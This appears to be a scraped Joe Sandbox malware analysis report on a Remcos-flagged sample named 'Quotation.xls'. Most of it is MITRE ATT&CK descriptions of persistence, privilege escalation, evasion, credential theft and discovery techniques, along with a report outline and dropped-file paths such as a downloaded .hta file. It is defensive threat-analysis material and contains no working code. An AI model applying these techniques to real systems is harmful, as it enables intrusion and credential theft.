Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Quotation.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Privilege Escalation

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta

Windows Analysis Report
Quotation.xls

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre